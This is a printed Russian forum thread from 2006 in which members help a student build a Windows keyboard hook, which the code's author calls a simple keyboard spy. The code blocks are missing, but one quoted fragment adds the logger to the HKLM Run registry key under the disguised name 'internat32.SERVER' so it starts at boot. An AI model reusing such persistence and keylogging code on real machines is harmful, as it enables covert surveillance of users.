| Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате |
| Форум программистов > C/C++: Системное программирование и WinAPI > Перехват нажат на клавиатуру во всех Win-приложен |
| Автор: PrettyGirl 9.5.2006, 13:19 |
| Приветик всем!!! Я сегодня первый раз посетила ваш форум. Мне очень понравилось Буду ждать сообщения в асю 215 28 48 28 Заранее спасибо. |
| Автор: Pulse69 10.5.2006, 00:49 | ||||
| Достаточно тривиальная задача. Вот код DLL (Перехватывает нажатия клавиш и записывает их в файл C:\Windows\KBH.LAB):
Код EXE:
Это-простейший клавиатурный шпиён. Надеюсь, всё понятно. |
| Автор: PrettyGirl 11.5.2006, 05:12 |
| Спасибо большое! Мне это очень поможет! Правда, тут еще появилось небольшое требование преподавательское:"было бы неплохо ещё и нажатие мыши отследить".... |
| Автор: forker 11.5.2006, 20:17 |
| флажок WH_MOUSE и http://msdn.microsoft.com/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/mouseproc.asp помогут тебе |
| Автор: TeeT 11.5.2006, 21:18 |
| PrettyGirl а что именно тебе не понятно? исходников кинуть - не проблема. и ссылки на другие обсуждения. Может все таки попробуешь уточнить что именно не понятно, и мы с удовольствием тебе поможем |
| Автор: Pulse69 12.5.2006, 01:51 |
| TeeT дело говорит. Вообще про хуки очент подробно в MSDN написано. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp. Для начала там посмотри. |
| Автор: PrettyGirl 13.5.2006, 15:09 |
| У меня почему-то не компилится CSIDL_WINDOWS... SHGetSpecialFolderPath(NULL,WindowsFolder,CSIDL_WINDOWS,FALSE); hInst = (HINSTANCE)hModule; Не подскажете в чем дело?подключаю библиотеку, но....может не ту? Или что-то с си??? Pulse69, а,м б,проще записать просто в какой-ниб файл не из виндоус? Это можно сделать?Чтобы не получать папкуWindows. Преподаватель сказал,что можно просто на консоль вывести...Я не очень понимаю, как мне исправить... А то этот клочок: с регистром мне не очень понятен.... /*SAVING TO REGISTRY*/ char key[MAX_PATH]; GetModuleFileName(hInst,key,MAX_PATH); HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey); RegSetValueEx(hKey,"internat32.SERVER",0,REG_SZ, (LPBYTE)key,sizeof(key)); RegCloseKey(hKey); Если у вас есть идея как это переделать,напишите пож-та код..Мне завтра нужно сдать. |
| Автор: GremlinProg 13.5.2006, 17:44 |
| чтобы использовать SHGetSpecialFolderPath нужно подключить хидер shlobj.h и библиотеку shell32.lib. Хотя есть вполне безобидный и не требовательный аналог GetWindowsDirectory Я почитал первый пример, его вполне можно переделать на версию без реестра и без файла, только добавить хук на мышу, свяжись с разработчиком. Добавлено @ 17:53 http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp тут лежит ссылка на пример использования хуков всех типов, разберись сначала с ним |
| Автор: PrettyGirl 13.5.2006, 19:31 |
| а как подключить библиотеку shell32.lib? /* Получает значение 30го бита*/ inline bool BIT30(LPARAM val) { return val&0x40000000; } значение 30-го бита откуда берется? Я просто ни разу с этим не встречалась... Где и как оно сохраняется?Где-то в Виндоус? И еще не подскажите хидер для strcpy_s? |
| Автор: Pulse69 14.5.2006, 02:10 | ||||||
Я же писал, что это - шпион. Мне нужно было, чтобы на моём компе он запускался при загрузке WINDOWS. Этот кусок можно вообще убрать. Записывать клавиши можно в любой файл, соответственно нужно убрать код, получающий директорию Winodws. Тогда никакие библиотеки получать не надо. На консоль вывести так просто вряд ли получится, так как хук-функция вызывается в DLL, которая грузится в адресное пространство каждого процесса. Как из DLL выводить на консоль я не очень хорошо себе представляю... Лучше пиши в файл. Дальше.
Если ты бы всё-таки прочитала описание в MSDN, то нашла бы там такую информацию: ... LRESULT CALLBACK KeyboardProc( int code, WPARAM wParam, LPARAM lParam // в эту переменную передаются флаги состояния клавиши (32 бита ) ); .... lParam [in] Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. For more information about the lParam parameter, see Keystroke Message Flags. This parameter can be one or more of the following values. .... 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up. 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released. .... Тебе в функцию передаётся 32х разрядное значение, содержащее флаги. Соответственно, 30й бит указывает на то, была ли нажата или отпущена пред тем, как пришло сообщение. 31й бит указывает, нажимают ли сейчас клавишу, или отпускают. В принципе можно было использовать и такой код
ничего бы не изменилось. И насчётstrcpy_s: Я писал это в MSVS 2005, там вместо стандартных ф-ций strcpy, sprintf, strcat, и т.д. рекомендуется использовать более защищённые аналоги strcpy_s, sprintf_s. Если компилируешь в другой среде, меняй их на стандартные. strcpy_s( char *toBuf, size_t dstSize, const char *source ); strcpy( char *toBuf, const char *source ); |
| Автор: jonie 20.5.2006, 15:48 | ||||||
микро (иначе не назвать) dll-ка для хука (ASM):
def файо для нее
компилить так
ну а в основной программе - грузите dll-ку, вызываете установку хука из нее с параметром HWND окна что будет получать сообщение WM_KEYBOARDHOOK и соответвенно WPARAM и LPARAM.... выделение нужного из них описано выше. ----------- DllEntry кста идейно не нужна....) |
| Автор: GremlinProg 20.5.2006, 16:27 |
| Гут, только PostMessage нужно дополнительно проверить, вернее завести цикл пока PostMessage не вернет TRUE, либо просто отправить SendMessage. Момент редкий, но если в момент нажатия клавиши ты будешь к примеру вертеть скролл, или колесо мышы, хук будет выполнен, а PostMessage - нет. Еще, при nCode < 0 хук обрабатывать не нужно. Для hWnd нужно проверку на 0 устроить. Нулем оно могет быть только в случае, если окно дочернее, в этом случае оно имеет фокус, т.е. нужно нспользовать GetFocus. Чтобы не было проблем с системными сообщениями, лучше зарегистрировать в системе персональное сообщение для хука функцией RegisterWindowMessage и его отсылать в окно. В целом - не дурно, главное - ни чего лишнего ). |
| Автор: jonie 20.5.2006, 16:45 | ||||
писалось когда я только начинал писать на asm и даже не знал о С++ ))...года два назад....
|
| Автор: GremlinProg 20.5.2006, 16:56 | ||
Упс, не заметил hWnd, я не об этом, ладно, не важно. |